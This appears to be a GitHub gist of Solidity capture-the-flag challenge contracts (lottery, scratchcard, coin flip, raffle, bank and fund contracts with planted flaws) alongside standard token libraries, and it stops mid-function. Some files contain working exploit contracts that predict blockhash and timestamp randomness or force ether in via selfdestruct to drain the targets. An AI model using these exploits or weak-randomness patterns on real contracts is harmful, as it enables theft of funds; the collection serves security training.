Created
March 17, 2019 16:52
-
-
Save jeremy5189/72b192a7abf7ecc43c4b05981d7eb267 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=false&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
import "./SafeMath.sol"; | |
contract Donation is CtfFramework{ | |
using SafeMath for uint256; | |
uint256 public funds; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
funds = funds.add(msg.value); | |
} | |
function() external payable ctf{ | |
funds = funds.add(msg.value); | |
} | |
function withdrawDonationsFromTheSuckersWhoFellForIt() external ctf{ | |
msg.sender.transfer(funds); | |
funds = 0; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
import "./SafeMath.sol"; | |
contract PiggyBank is CtfFramework{ | |
using SafeMath for uint256; | |
uint256 public piggyBalance; | |
string public name; | |
address public owner; | |
constructor(address _ctfLauncher, address _player, string _name) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
name=_name; | |
owner=msg.sender; | |
piggyBalance=piggyBalance.add(msg.value); | |
} | |
function() external payable ctf{ | |
piggyBalance=piggyBalance.add(msg.value); | |
} | |
modifier onlyOwner(){ | |
require(msg.sender == owner, "Unauthorized: Not Owner"); | |
_; | |
} | |
function withdraw(uint256 amount) internal{ | |
piggyBalance = piggyBalance.sub(amount); | |
msg.sender.transfer(amount); | |
} | |
function collectFunds(uint256 amount) public onlyOwner ctf{ | |
require(amount<=piggyBalance, "Insufficient Funds in Contract"); | |
withdraw(amount); | |
} | |
} | |
contract CharliesPiggyBank is PiggyBank{ | |
uint256 public withdrawlCount; | |
constructor(address _ctfLauncher, address _player) public payable | |
PiggyBank(_ctfLauncher, _player, "Charlie") | |
{ | |
withdrawlCount = 0; | |
} | |
function collectFunds(uint256 amount) public ctf{ | |
require(amount<=piggyBalance, "Insufficient Funds in Contract"); | |
withdrawlCount = withdrawlCount.add(1); | |
withdraw(amount); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
// https://github.com/OpenZeppelin/openzeppelin-solidity/blob/v1.8.0/contracts/token/ERC20/StandardToken.sol | |
import "./StandardToken.sol"; | |
contract SIToken is StandardToken { | |
using SafeMath for uint256; | |
string public name = "SIToken"; | |
string public symbol = "SIT"; | |
uint public decimals = 18; | |
uint public INITIAL_SUPPLY = 1000 * (10 ** decimals); | |
constructor() public{ | |
totalSupply_ = INITIAL_SUPPLY; | |
balances[this] = INITIAL_SUPPLY; | |
} | |
} | |
contract SITokenSale is SIToken, CtfFramework { | |
uint256 public feeAmount; | |
uint256 public etherCollection; | |
address public developer; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
feeAmount = 10 szabo; | |
developer = msg.sender; | |
purchaseTokens(msg.value); | |
} | |
function purchaseTokens(uint256 _value) internal{ | |
require(_value > 0, "Cannot Purchase Zero Tokens"); | |
require(_value < balances[this], "Not Enough Tokens Available"); | |
balances[msg.sender] += _value - feeAmount; | |
balances[this] -= _value; | |
balances[developer] += feeAmount; | |
etherCollection += msg.value; | |
} | |
function () payable external ctf{ | |
purchaseTokens(msg.value); | |
} | |
// Allow users to refund their tokens for half price ;-) | |
function refundTokens(uint256 _value) external ctf{ | |
require(_value>0, "Cannot Refund Zero Tokens"); | |
transfer(this, _value); | |
etherCollection -= _value/2; | |
msg.sender.transfer(_value/2); | |
} | |
function withdrawEther() external ctf{ | |
require(msg.sender == developer, "Unauthorized: Not Developer"); | |
require(balances[this] == 0, "Only Allowed Once Sale is Complete"); | |
msg.sender.transfer(etherCollection); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
contract SimpleBank is CtfFramework{ | |
mapping(address => uint256) public balances; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
balances[msg.sender] = msg.value; | |
} | |
function deposit(address _user) public payable ctf{ | |
balances[_user] += msg.value; | |
} | |
function withdraw(address _user, uint256 _value) public ctf{ | |
require(_value<=balances[_user], "Insufficient Balance"); | |
balances[_user] -= _value; | |
msg.sender.transfer(_value); | |
} | |
function () public payable ctf{ | |
deposit(msg.sender); | |
} | |
} | |
contract MembersBank is SimpleBank{ | |
mapping(address => string) public members; | |
constructor(address _ctfLauncher, address _player) public payable | |
SimpleBank(_ctfLauncher, _player) | |
{ | |
} | |
function register(address _user, string _username) public ctf{ | |
members[_user] = _username; | |
} | |
modifier isMember(address _user){ | |
bytes memory username = bytes(members[_user]); | |
require(username.length != 0, "Member Must First Register"); | |
_; | |
} | |
function deposit(address _user) public payable isMember(_user) ctf{ | |
super.deposit(_user); | |
} | |
function withdraw(address _user, uint256 _value) public isMember(_user) ctf{ | |
super.withdraw(_user, _value); | |
} | |
} | |
contract SecureBank is MembersBank{ | |
constructor(address _ctfLauncher, address _player) public payable | |
MembersBank(_ctfLauncher, _player) | |
{ | |
} | |
function deposit(address _user) public payable ctf{ | |
require(msg.sender == _user, "Unauthorized User"); | |
require(msg.value < 100 ether, "Exceeding Account Limits"); | |
require(msg.value >= 1 ether, "Does Not Satisfy Minimum Requirement"); | |
super.deposit(_user); | |
} | |
function withdraw(address _user, uint8 _value) public ctf{ | |
require(msg.sender == _user, "Unauthorized User"); | |
require(_value < 100, "Exceeding Account Limits"); | |
require(_value >= 1, "Does Not Satisfy Minimum Requirement"); | |
super.withdraw(_user, _value * 1 ether); | |
} | |
function register(address _user, string _username) public ctf{ | |
require(bytes(_username).length!=0, "Username Not Enough Characters"); | |
require(bytes(_username).length<=20, "Username Too Many Characters"); | |
super.register(_user, _username); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
import "./SafeMath.sol"; | |
contract Lottery is CtfFramework{ | |
using SafeMath for uint256; | |
uint256 public totalPot; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
totalPot = totalPot.add(msg.value); | |
} | |
function() external payable ctf{ | |
totalPot = totalPot.add(msg.value); | |
} | |
function play(uint256 _seed) external payable ctf{ | |
require(msg.value >= 1 finney, "Insufficient Transaction Value"); | |
totalPot = totalPot.add(msg.value); | |
bytes32 entropy = blockhash(block.number); | |
bytes32 entropy2 = keccak256(abi.encodePacked(msg.sender)); | |
bytes32 target = keccak256(abi.encodePacked(entropy^entropy2)); | |
bytes32 guess = keccak256(abi.encodePacked(_seed)); | |
if(guess==target){ | |
//winner | |
uint256 payout = totalPot; | |
totalPot = 0; | |
msg.sender.transfer(payout); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.24; | |
contract addressPredict { | |
function addressFrom(address _origin, uint _nonce) external pure returns (address) { | |
return address(keccak256(byte(0xd6), byte(0x94), _origin, byte(_nonce))); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity >=0.4.22 <0.6.0; | |
contract Ballot { | |
struct Voter { | |
uint weight; | |
bool voted; | |
uint8 vote; | |
address delegate; | |
} | |
struct Proposal { | |
uint voteCount; | |
} | |
address chairperson; | |
mapping(address => Voter) voters; | |
Proposal[] proposals; | |
/// Create a new ballot with $(_numProposals) different proposals. | |
constructor(uint8 _numProposals) public { | |
chairperson = msg.sender; | |
voters[chairperson].weight = 1; | |
proposals.length = _numProposals; | |
} | |
/// Give $(toVoter) the right to vote on this ballot. | |
/// May only be called by $(chairperson). | |
function giveRightToVote(address toVoter) public { | |
if (msg.sender != chairperson || voters[toVoter].voted) return; | |
voters[toVoter].weight = 1; | |
} | |
/// Delegate your vote to the voter $(to). | |
function delegate(address to) public { | |
Voter storage sender = voters[msg.sender]; // assigns reference | |
if (sender.voted) return; | |
while (voters[to].delegate != address(0) && voters[to].delegate != msg.sender) | |
to = voters[to].delegate; | |
if (to == msg.sender) return; | |
sender.voted = true; | |
sender.delegate = to; | |
Voter storage delegateTo = voters[to]; | |
if (delegateTo.voted) | |
proposals[delegateTo.vote].voteCount += sender.weight; | |
else | |
delegateTo.weight += sender.weight; | |
} | |
/// Give a single vote to proposal $(toProposal). | |
function vote(uint8 toProposal) public { | |
Voter storage sender = voters[msg.sender]; | |
if (sender.voted || toProposal >= proposals.length) return; | |
sender.voted = true; | |
sender.vote = toProposal; | |
proposals[toProposal].voteCount += sender.weight; | |
} | |
function winningProposal() public view returns (uint8 _winningProposal) { | |
uint256 winningVoteCount = 0; | |
for (uint8 prop = 0; prop < proposals.length; prop++) | |
if (proposals[prop].voteCount > winningVoteCount) { | |
winningVoteCount = proposals[prop].voteCount; | |
_winningProposal = prop; | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import "remix_tests.sol"; // this import is automatically injected by Remix. | |
import "./ballot.sol"; | |
contract test3 { | |
Ballot ballotToTest; | |
function beforeAll () public { | |
ballotToTest = new Ballot(2); | |
} | |
function checkWinningProposal () public { | |
ballotToTest.vote(1); | |
Assert.equal(ballotToTest.winningProposal(), uint(1), "1 should be the winning proposal"); | |
} | |
function checkWinninProposalWithReturnValue () public view returns (bool) { | |
return ballotToTest.winningProposal() == 1; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.18; | |
import "./ERC20Basic.sol"; | |
import "./SafeMath.sol"; | |
/** | |
* @title Basic token | |
* @dev Basic version of StandardToken, with no allowances. | |
*/ | |
contract BasicToken is ERC20Basic { | |
using SafeMath for uint256; | |
mapping(address => uint256) balances; | |
uint256 totalSupply_; | |
/** | |
* @dev total number of tokens in existence | |
*/ | |
function totalSupply() public view returns (uint256) { | |
return totalSupply_; | |
} | |
/** | |
* @dev transfer token for a specified address | |
* @param _to The address to transfer to. | |
* @param _value The amount to be transferred. | |
*/ | |
function transfer(address _to, uint256 _value) public returns (bool) { | |
require(_to != address(0)); | |
require(_value <= balances[msg.sender]); | |
// SafeMath.sub will throw if there is not enough balance. | |
balances[msg.sender] = balances[msg.sender].sub(_value); | |
balances[_to] = balances[_to].add(_value); | |
Transfer(msg.sender, _to, _value); | |
return true; | |
} | |
/** | |
* @dev Gets the balance of the specified address. | |
* @param _owner The address to query the the balance of. | |
* @return An uint256 representing the amount owned by the passed address. | |
*/ | |
function balanceOf(address _owner) public view returns (uint256 balance) { | |
return balances[_owner]; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
contract hack { | |
Scratchcard target = Scratchcard(0x4bc323a92018174056f911c51c99894f067685dd); | |
function() public payable { | |
} | |
constructor() payable public { | |
uint256 pool = 3.5 ether; | |
uint256 value = (now%10**8)*10**10; | |
while (pool > 0) { | |
for (uint256 i = 0; i < 25; i++) { | |
target.play.value(value)(); | |
} | |
target.collectMegaJackpot(3.5 ether); | |
pool = 0; | |
} | |
selfdestruct(msg.sender); | |
} | |
} | |
library Address { | |
function isContract(address account) internal view returns (bool) { | |
uint256 size; | |
assembly { size := extcodesize(account) } | |
return size > 0; | |
} | |
} | |
contract Scratchcard is CtfFramework{ | |
event CardPurchased(address indexed player, uint256 cost, bool winner); | |
mapping(address=>uint256) private winCount; | |
uint256 private cost; | |
using Address for address; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
} | |
modifier notContract(){ | |
require(!msg.sender.isContract(), "Contracts Not Allowed"); | |
_; | |
} | |
function play() public payable notContract ctf{ | |
bool won = false; | |
if((now%10**8)*10**10 == msg.value){ | |
won = true; | |
winCount[msg.sender] += 1; | |
cost = msg.value; | |
msg.sender.transfer(cost); | |
} | |
else{ | |
cost = 0; | |
winCount[msg.sender] = 0; | |
} | |
emit CardPurchased(msg.sender, msg.value, won); | |
} | |
function checkIfMegaJackpotWinner() public view returns(bool){ | |
return(winCount[msg.sender]>=25); | |
} | |
function collectMegaJackpot(uint256 _amount) public notContract ctf{ | |
require(checkIfMegaJackpotWinner(), "User Not Winner"); | |
require(2 * cost - _amount > 0, "Winners May Only Withdraw Up To 2x Their Scratchcard Cost"); | |
winCount[msg.sender] = 0; | |
msg.sender.transfer(_amount); | |
} | |
function () public payable ctf{ | |
play(); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
contract CtfFramework{ | |
event Transaction(address indexed player); | |
mapping(address => bool) internal authorizedToPlay; | |
constructor(address _ctfLauncher, address _player) public { | |
authorizedToPlay[_ctfLauncher] = true; | |
authorizedToPlay[_player] = true; | |
} | |
// This modifier is added to all external and public game functions | |
// It ensures that only the correct player can interact with the game | |
modifier ctf() { | |
require(authorizedToPlay[msg.sender], "Your wallet or contract is not authorized to play this challenge. You must first add this address via the ctf_challenge_add_authorized_sender(...) function."); | |
emit Transaction(msg.sender); | |
_; | |
} | |
// Add an authorized contract address to play this game | |
function ctf_challenge_add_authorized_sender(address _addr) external ctf{ | |
authorizedToPlay[_addr] = true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
contract empty { | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.18; | |
import "./ERC20Basic.sol"; | |
/** | |
* @title ERC20 interface | |
* @dev see https://github.com/ethereum/EIPs/issues/20 | |
*/ | |
contract ERC20 is ERC20Basic { | |
function allowance(address owner, address spender) public view returns (uint256); | |
function transferFrom(address from, address to, uint256 value) public returns (bool); | |
function approve(address spender, uint256 value) public returns (bool); | |
event Approval(address indexed owner, address indexed spender, uint256 value); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.18; | |
/** | |
* @title ERC20Basic | |
* @dev Simpler version of ERC20 interface | |
* @dev see https://github.com/ethereum/EIPs/issues/179 | |
*/ | |
contract ERC20Basic { | |
function totalSupply() public view returns (uint256); | |
function balanceOf(address who) public view returns (uint256); | |
function transfer(address to, uint256 value) public returns (bool); | |
event Transfer(address indexed from, address indexed to, uint256 value); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
import "./SafeMath.sol"; | |
contract hack { | |
HeadsOrTails target = HeadsOrTails(0x8d876705a97682a1f3bab329e67a1237e46cdab8); | |
function() payable { | |
} | |
function go() public payable { | |
bytes32 entropy = blockhash(block.number-1); | |
bytes1 coinFlip = entropy[0] & 1; | |
if (coinFlip == 1) { | |
for (uint256 i = 0; i < 20; i++) { | |
target.play.value(0.1 ether)(true); | |
} | |
} | |
else { | |
for (uint256 j = 0; j < 20; j++) { | |
target.play.value(0.1 ether)(false); | |
} | |
} | |
msg.sender.transfer(address(this).balance); | |
} | |
} | |
contract HeadsOrTails is CtfFramework{ | |
using SafeMath for uint256; | |
uint256 public gameFunds; | |
uint256 public cost; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
gameFunds = gameFunds.add(msg.value); | |
cost = gameFunds.div(10); | |
} | |
function play(bool _heads) external payable ctf{ | |
require(msg.value == cost, "Incorrect Transaction Value"); | |
require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract"); | |
bytes32 entropy = blockhash(block.number-1); | |
bytes1 coinFlip = entropy[0] & 1; | |
if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) { | |
//win | |
gameFunds = gameFunds.sub(msg.value.div(2)); | |
msg.sender.transfer(msg.value.mul(3).div(2)); | |
} | |
else { | |
//loser | |
gameFunds = gameFunds.add(msg.value); | |
} | |
} | |
} | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
contract Raffle is CtfFramework{ | |
uint256 constant fee = 0.1 ether; | |
address private admin; | |
bytes4 private winningTicket; | |
uint256 private blocknum; | |
uint256 public ticketsBought; | |
bool public raffleStopped; | |
mapping(address=>uint256) private rewards; | |
mapping(address=>bool) private potentialWinner; | |
mapping(address=>bytes4) private ticketNumbers; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
rewards[address(this)] = msg.value; | |
admin = msg.sender; | |
} | |
function buyTicket() external payable ctf{ | |
if(msg.value >= fee){ | |
winningTicket = bytes4(0); | |
blocknum = block.number+1; | |
ticketsBought += 1; | |
raffleStopped = false; | |
rewards[msg.sender] += msg.value; | |
ticketNumbers[msg.sender] = bytes4((msg.value - fee)/10**8); | |
potentialWinner[msg.sender] = true; | |
} | |
} | |
function closeRaffle() external ctf{ | |
require(ticketsBought>0); | |
require(!raffleStopped); | |
require(blocknum != 0); | |
require(winningTicket == bytes4(0)); | |
require(block.number>blocknum); | |
require(msg.sender==admin || rewards[msg.sender]>0); | |
winningTicket = bytes4(blockhash(blocknum)); | |
potentialWinner[msg.sender] = false; | |
raffleStopped = true; | |
} | |
function collectReward() external payable ctf{ | |
require(raffleStopped); | |
require(potentialWinner[msg.sender]); | |
rewards[address(this)] += msg.value; | |
if(winningTicket == ticketNumbers[msg.sender]){ | |
msg.sender.transfer(rewards[msg.sender]); | |
msg.sender.transfer(rewards[address(this)]); | |
rewards[msg.sender] = 0; | |
rewards[address(this)] = 0; | |
} | |
} | |
function skimALittleOffTheTop(uint256 _value) external ctf{ | |
require(msg.sender==admin); | |
require(rewards[address(this)]>_value); | |
rewards[address(this)] = rewards[address(this)] - _value; | |
msg.sender.transfer(_value); | |
} | |
function () public payable ctf{ | |
if(msg.value>=fee){ | |
this.buyTicket(); | |
} | |
else if(msg.value == 0){ | |
this.closeRaffle(); | |
} | |
else{ | |
this.collectReward(); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
contract DebugAuthorizer{ | |
bool public debugMode; | |
constructor() public payable{ | |
if(address(this).balance == 1.337 ether){ | |
debugMode=true; | |
} | |
} | |
} | |
contract RainyDayFund is CtfFramework{ | |
address public developer; | |
mapping(address=>bool) public fundManagerEnabled; | |
DebugAuthorizer public debugAuthorizer; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
//debugAuthorizer = (new DebugAuthorizer).value(1.337 ether)(); // Debug mode only used during development | |
debugAuthorizer = new DebugAuthorizer(); | |
developer = msg.sender; | |
fundManagerEnabled[msg.sender] = true; | |
} | |
modifier isManager() { | |
require(fundManagerEnabled[msg.sender] || debugAuthorizer.debugMode() || msg.sender == developer, "Unauthorized: Not a Fund Manager"); | |
_; | |
} | |
function () external payable ctf{ | |
// Anyone can add to the fund | |
} | |
function addFundManager(address _newManager) external isManager ctf{ | |
fundManagerEnabled[_newManager] = true; | |
} | |
function removeFundManager(address _previousManager) external isManager ctf{ | |
fundManagerEnabled[_previousManager] = false; | |
} | |
function withdraw() external isManager ctf{ | |
msg.sender.transfer(address(this).balance); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
import "./SafeMath.sol"; | |
contract Royalties{ | |
using SafeMath for uint256; | |
address private collectionsContract; | |
address private artist; | |
address[] private receiver; | |
mapping(address => uint256) private receiverToPercentOfProfit; | |
uint256 private percentRemaining; | |
uint256 public amountPaid; | |
constructor(address _manager, address _artist) public | |
{ | |
collectionsContract = msg.sender; | |
artist=_artist; | |
receiver.push(_manager); | |
receiverToPercentOfProfit[_manager] = 80; | |
percentRemaining = 100 - receiverToPercentOfProfit[_manager]; | |
} | |
modifier isCollectionsContract() { | |
require(msg.sender == collectionsContract, "Unauthorized: Not Collections Contract"); | |
_; | |
} | |
modifier isArtist(){ | |
require(msg.sender == artist, "Unauthorized: Not Artist"); | |
_; | |
} | |
function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{ | |
require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining"); | |
receiver.push(_receiver); | |
receiverToPercentOfProfit[_receiver] = _percent; | |
percentRemaining = percentRemaining.sub(_percent); | |
} | |
function payoutRoyalties() public payable isCollectionsContract{ | |
for (uint256 i = 0; i< receiver.length; i++){ | |
address current = receiver[i]; | |
uint256 payout = msg.value.mul(receiverToPercentOfProfit[current]).div(100); | |
amountPaid = amountPaid.add(payout); | |
current.transfer(payout); | |
} | |
msg.sender.call.value(msg.value-amountPaid)(bytes4(keccak256("collectRemainingFunds()"))); | |
} | |
function getLastPayoutAmountAndReset() external isCollectionsContract returns(uint256){ | |
uint256 ret = amountPaid; | |
amountPaid = 0; | |
return ret; | |
} | |
function () public payable isCollectionsContract{ | |
payoutRoyalties(); | |
} | |
} | |
contract Manager{ | |
address public owner; | |
constructor(address _owner) public { | |
owner = _owner; | |
} | |
function withdraw(uint256 _balance) public { | |
owner.transfer(_balance); | |
} | |
function () public payable{ | |
// empty | |
} | |
} | |
contract RecordLabel is CtfFramework{ | |
using SafeMath for uint256; | |
uint256 public funds; | |
address public royalties; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
royalties = new Royalties(new Manager(_ctfLauncher), _player); | |
funds = funds.add(msg.value); | |
} | |
function() external payable ctf{ | |
funds = funds.add(msg.value); | |
} | |
function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{ | |
require(_withdrawAmount<=funds, "Insufficient Funds in Contract"); | |
funds = funds.sub(_withdrawAmount); | |
royalties.call.value(_withdrawAmount)(); | |
uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset(); | |
uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); | |
msg.sender.transfer(artistPayout); | |
} | |
function collectRemainingFunds() external payable{ | |
require(msg.sender == royalties, "Unauthorized: Not Royalties Contract"); | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
/** | |
* @title SafeMath | |
* @dev Unsigned math operations with safety checks that revert on error | |
*/ | |
library SafeMath { | |
/** | |
* @dev Multiplies two unsigned integers, reverts on overflow. | |
*/ | |
function mul(uint256 a, uint256 b) internal pure returns (uint256) { | |
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the | |
// benefit is lost if 'b' is also tested. | |
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 | |
if (a == 0) { | |
return 0; | |
} | |
uint256 c = a * b; | |
require(c / a == b); | |
return c; | |
} | |
/** | |
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. | |
*/ | |
function div(uint256 a, uint256 b) internal pure returns (uint256) { | |
// Solidity only automatically asserts when dividing by 0 | |
require(b > 0); | |
uint256 c = a / b; | |
// assert(a == b * c + a % b); // There is no case in which this doesn't hold | |
return c; | |
} | |
/** | |
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). | |
*/ | |
function sub(uint256 a, uint256 b) internal pure returns (uint256) { | |
require(b <= a); | |
uint256 c = a - b; | |
return c; | |
} | |
/** | |
* @dev Adds two unsigned integers, reverts on overflow. | |
*/ | |
function add(uint256 a, uint256 b) internal pure returns (uint256) { | |
uint256 c = a + b; | |
require(c >= a); | |
return c; | |
} | |
/** | |
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), | |
* reverts when dividing by zero. | |
*/ | |
function mod(uint256 a, uint256 b) internal pure returns (uint256) { | |
require(b != 0); | |
return a % b; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity 0.4.24; | |
import "./CtfFramework.sol"; | |
import "./SafeMath.sol"; | |
contract killme { | |
constructor() payable public { | |
selfdestruct(0x587705f7c2d848efe65159b8766a58775c52a502); | |
} | |
} | |
contract SlotMachine is CtfFramework{ | |
using SafeMath for uint256; | |
uint256 public winner; | |
constructor(address _ctfLauncher, address _player) public payable | |
CtfFramework(_ctfLauncher, _player) | |
{ | |
winner = 5 ether; | |
} | |
function() external payable ctf{ | |
require(msg.value == 1 szabo, "Incorrect Transaction Value"); | |
if (address(this).balance >= winner){ | |
msg.sender.transfer(address(this).balance); | |
} | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.18; | |
import "./BasicToken.sol"; | |
import "./ERC20.sol"; | |
/** | |
* @title Standard ERC20 token | |
* | |
* @dev Implementation of the basic standard token. | |
* @dev https://github.com/ethereum/EIPs/issues/20 | |
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol | |
*/ | |
contract StandardToken is ERC20, BasicToken { | |
mapping (address => mapping (address => uint256)) internal allowed; | |
/** | |
* @dev Transfer tokens from one address to another | |
* @param _from address The address which you want to send tokens from | |
* @param _to address The address which you want to transfer to | |
* @param _value uint256 the amount of tokens to be transferred | |
*/ | |
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { | |
require(_to != address(0)); | |
require(_value <= balances[_from]); | |
require(_value <= allowed[_from][msg.sender]); | |
balances[_from] = balances[_from].sub(_value); | |
balances[_to] = balances[_to].add(_value); | |
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); | |
Transfer(_from, _to, _value); | |
return true; | |
} | |
/** | |
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. | |
* | |
* Beware that changing an allowance with this method brings the risk that someone may use both the old | |
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this | |
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: | |
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 | |
* @param _spender The address which will spend the funds. | |
* @param _value The amount of tokens to be spent. | |
*/ | |
function approve(address _spender, uint256 _value) public returns (bool) { | |
allowed[msg.sender][_spender] = _value; | |
Approval(msg.sender, _spender, _value); | |
return true; | |
} | |
/** | |
* @dev Function to check the amount of tokens that an owner allowed to a spender. | |
* @param _owner address The address which owns the funds. | |
* @param _spender address The address which will spend the funds. | |
* @return A uint256 specifying the amount of tokens still available for the spender. | |
*/ | |
function allowance(address _owner, address _spender) public view returns (uint256) { | |
return allowed[_owner][_spender]; | |
} | |
/** | |
* @dev Increase the amount of tokens that an owner allowed to a spender. | |
* | |
* approve should be called when allowed[_spender] == 0. To increment | |
* allowed value is better to use this function to avoid 2 calls (and wait until | |
* the first transaction is mined) | |
* From MonolithDAO Token.sol | |
* @param _spender The address which will spend the funds. | |
* @param _addedValue The amount of tokens to increase the allowance by. | |
*/ | |
function increaseApproval(address _spender, uint _addedValue) public returns (bool) { | |
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); | |
Approval(msg.sender, _spender, allowed[msg.sender][_spender]); | |
return true; | |
} | |
/** | |
* @dev Decrease the amount of tokens that an owner allowed to a spender. | |
* | |
* approve should be called when allowed[_spender] == 0. To decrement | |
* allowed value is better to use this function to avoid 2 calls (and wait until | |
* the first transaction is mined) | |
* From MonolithDAO Token.sol | |
* @param _spender The address which will spend the funds. | |
* @param _subtractedValue The amount of tokens to decrease the allowance by. | |
*/ | |
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { | |
uint oldValue = allowed[msg.sender][_spender]; | |
if (_subtractedValue > oldValue) { | |
allowed[msg.sender][_spender] = 0; | |
} else { | |
